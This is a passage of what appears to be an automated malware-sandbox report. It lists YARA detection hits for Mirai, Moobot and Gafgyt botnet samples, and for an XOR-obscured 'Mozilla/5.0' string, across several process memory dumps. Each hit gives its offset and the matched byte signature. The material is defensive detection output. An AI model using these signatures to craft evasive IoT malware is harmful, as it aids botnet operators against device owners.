0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6266.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6960.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7302.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7302.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7302.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7302.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7302.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7302.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6527.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6527.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6527.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6527.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6527.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6527.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6986.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6986.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6986.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6986.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6986.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6986.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7160.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7160.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7160.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7160.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7160.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7160.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7323.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6576.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6576.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6576.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6576.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6576.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6576.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6357.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6507.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6507.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6507.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6507.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6507.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 